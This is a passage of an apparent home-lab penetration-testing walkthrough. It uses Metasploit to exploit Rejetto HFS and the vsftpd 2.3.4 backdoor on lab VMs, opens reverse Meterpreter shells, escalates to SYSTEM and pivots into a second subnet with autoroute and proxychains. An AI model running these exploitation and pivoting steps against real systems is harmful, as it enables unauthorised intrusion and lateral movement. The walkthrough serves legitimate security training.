Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1) | windows/remote/34668.txt
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) | windows/remote/39161.py
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution | windows/webapps/34852.txt

Shellcodes: No Results
```


Open metasploit and search for hfs exploit for version 2.3:

```
msf exploit(multi/http/tomcat_mgr_deploy) > search hfs

Matching Modules
=====
#  Name
-  -
0  exploit/multi/http/git_client_command_exec 2014-12-18 excellent No Malicious Git and Mercurial HTTP S
erver For CVE-2014-9390
1  \_ target: Automatic
2  \_ target: Windows Powershell
3  exploit/windows/http/rejetto_hfs_rce_cve_2024_23692 2024-05-25 excellent Yes Rejetto HTTP File Server (2.3) Una
uthenticated Remote Code Execution
4  exploit/windows/http/rejetto_hfs_exec 2014-09-11 excellent Yes Rejetto HttpFileServer Remote Comm
and Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/http/rejetto_hfs_exec
msf exploit(multi/http/tomcat_mgr_deploy) > use 3
```

Set proper parameters for the exploit to execute then run it:

```
msf exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > set RHOSTS 192.168.50.131
RHOSTS => 192.168.50.131
msf exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > set TARGETURI /
TARGETURI => /
msf exploit(windows/http/rejetto_hfs_rce_cve_2024_23692) > run
[*] Started reverse TCP handler on 192.168.50.129:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Rejetto HFS version 2.3m
[*] Sending stage (248902 bytes) to 192.168.50.131
[*] Meterpreter session 4 opened (192.168.50.129:4444 -> 192.168.50.131:63641) at 2026-05-12 16:00:17 -0400

meterpreter > sysinfo
Computer      : SPIDERMAN
OS            : Windows 10 22H2+ (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain       : MARVEL
Logged On Users : 7
Meterpreter   : x64/windows
meterpreter >
```

Using the getsystem command we can escalate our privilege to nt authority\system:

```
meterpreter > shell
Process 7176 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19045.2006]
(c) Microsoft Corporation. All rights reserved.

C:\Users\pparker\Downloads\hfs2.3m>whoami
whoami
marvel\pparker

C:\Users\pparker\Downloads\hfs2.3m>exit
exit

meterpreter > getsystem
... got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > shell
Process 12512 created.
Channel 2 created.
Microsoft Windows [Version 10.0.19045.2006]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

Check IP Address:

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.50.129 netmask 255.255.255.0 broadcast 192.168.50.255
    inet6 fe80::37cd:6583:f994:8929 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:b6:1d:49 txqueuelen 1000 (Ethernet)
    RX packets 61783818 bytes 4721003035 (4.3 GiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 129171894 bytes 7754105711 (7.2 GiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 13786 bytes 10297934 (9.8 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 13786 bytes 10297934 (9.8 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Find target host in the network from attacker machine:

```
(kali㉿kali)-[~]
$ nmap -sn 192.168.50.0/24
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 16:11 -0400
Nmap scan report for the-machine.local (192.168.50.1)
Host is up (0.00012s latency).
MAC Address: 00:50:56:C0:00:0B (VMware)
Nmap scan report for 192.168.50.2
Host is up (0.000082s latency).
MAC Address: 00:50:56:F8:87:C9 (VMware)
Nmap scan report for 192.168.50.130
Host is up (0.00019s latency).
MAC Address: 00:0C:29:A6:3D:D2 (VMware)
Nmap scan report for 192.168.50.254
Host is up (0.00014s latency).
MAC Address: 00:50:56:F4:82:FE (VMware)
Nmap scan report for 192.168.50.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 6.91 seconds
```

Conduct port scanning:

```
(kali@kali)~$ nmap -sCV 192.168.50.130 --open -T5 --min-rate 10000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 16:13 -0400
Nmap scan report for 192.168.50.130
Host is up (0.00061s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_   Connected to 192.168.50.129
|_   Logged in as ftp
|_   TYPE: ASCII
|_   No session bandwidth limit
|_   Session timeout in seconds is 300
|_   Control connection is plain text
|_   Data connections will be plain text
|_   vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_ssl-cert: Subject: commonName=ubuntu04-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing out
side US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2026-05-12T20:14:08+00:00; +5s from scanner time.
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_sslv2:
|_SSLv2 supported

users: 1
lservers: 0
server: irc.Metasploitable.LAN
version: Unreal3.2.8.1. irc.Metasploitable.LAN
uptime: 0 days, 0:07:31
source ident: nmap
source host: 2E69F3DC.85216C96.FFFA6D49.IP
error: Closing Link: olzlpbplj[192.168.50.129] (Quit: olzlpbplj)
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
|_http-favicon: Apache Tomcat
MAC Address: 00:0C:29:A6:3D:D2 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb-security-mode:
|_   account_used: <blank>
|_   authentication_level: user
|_   challenge_response: supported
|_   message_signing: disabled (dangerous, but default)
|_smb-os-discovery:
|_   OS: Unix (Samba 3.0.20-Debian)
|_   Computer name: metasploitable
|_   NetBIOS computer name:
|_   Domain name: localdomain
|_   FQDN: metasploitable.localdomain
|_   System time: 2026-05-12T16:13:57-04:00
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 1h00m05s, deviation: 2h00m00s, median: 4s
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.25 seconds
```

Search an exploit and use it to gain shell on metasploitable 2 machine:

```
msf > search vsftpd 2.3.4

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent Yes     VSFTPD 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use 0
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) >

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.130
RHOSTS => 192.168.50.130
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST eth0
LHOST => 192.168.50.129
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 192.168.50.129:4444
[+] 192.168.50.130:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.50.129:4444 => 192.168.50.130:33737) at 2026-05-12 16:18:36 -0400

meterpreter >
```

Get a shell and check if there are multiple NIC connected to this machine:

```
meterpreter > shell
Process 5546 created.
Channel 2 created.
ip a s
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 00:0c:29:a6:3d:d2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.130/24 brd 192.168.50.255 scope global eth0
    inet6 fe80::20c:29ff:fea6:3dd2/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 00:0c:29:a6:3d:dc brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.129/24 brd 10.10.10.255 scope global eth1
    inet6 fe80::20c:29ff:fea6:3ddc/64 scope link
        valid_lft forever preferred_lft forever
```

We see there is one additional ip address connected to it.

Run autoroute to route ip addresses to this network:

```
meterpreter > run autoroute -s 10.10.10.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [ ... ]
[*] Adding a route to 10.10.10.0/255.255.255.0 ...
[+] Added route to 10.10.10.0/255.255.255.0 via 192.168.50.130
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [ ... ]

Active Routing Table

```

Subnet	Netmask	Gateway
10.10.10.0	255.255.255.0	Session 1

Set up socks proxy server:

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > search socks proxy

Matching Modules

```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/server/socks_proxy	.	normal	No	SOCKS Proxy Server
1	auxiliary/server/socks_unc	.	normal	No	SOCKS Proxy UNC Path Redirection

```
Interact with a module by name or index. For example info 1, use 1 or use auxiliary/server/socks_unc
msf exploit(unix/ftp/vsftpd_234_backdoor) > use 0
msf auxiliary(server/socks_proxy) >
```

Edit proxychains.conf file to add proxy version and port accordingly:

```
(kali㉿kali)-[~]
└─$ tail /etc/proxychains4.conf
#      proxy types: http, socks4, socks5, raw
#      * raw: The traffic is simply forwarded to the proxy without modification.
#      ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwhile
# defaults set to "tor"
socks4 127.0.0.1 1080
```

Start the proxy server:

```
msf auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server
```

Now, we can ping the host at another network:

```
(kali㉿kali)-[~]
$ proxychains ping 10.10.10.128
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
PING 10.10.10.128 (10.10.10.128) 56(84) bytes of data.
64 bytes from 10.10.10.128: icmp_seq=1 ttl=128 time=0.767 ms
64 bytes from 10.10.10.128: icmp_seq=2 ttl=128 time=0.546 ms
64 bytes from 10.10.10.128: icmp_seq=3 ttl=128 time=0.777 ms
64 bytes from 10.10.10.128: icmp_seq=4 ttl=128 time=1.00 ms
64 bytes from 10.10.10.128: icmp_seq=5 ttl=128 time=0.764 ms
64 bytes from 10.10.10.128: icmp_seq=6 ttl=128 time=0.945 ms
64 bytes from 10.10.10.128: icmp_seq=7 ttl=128 time=0.870 ms
```

Perform nmap scan:

```
(kali㉿kali)-[~]
$ proxychains -q nmap 10.10.10.128 -T5 --min-rate 10000 -Pn --open
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-12 16:26 -0400
Nmap scan report for 10.10.10.128
Host is up (0.0015s latency).
Not shown: 797 closed tcp ports (reset), 199 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds
```


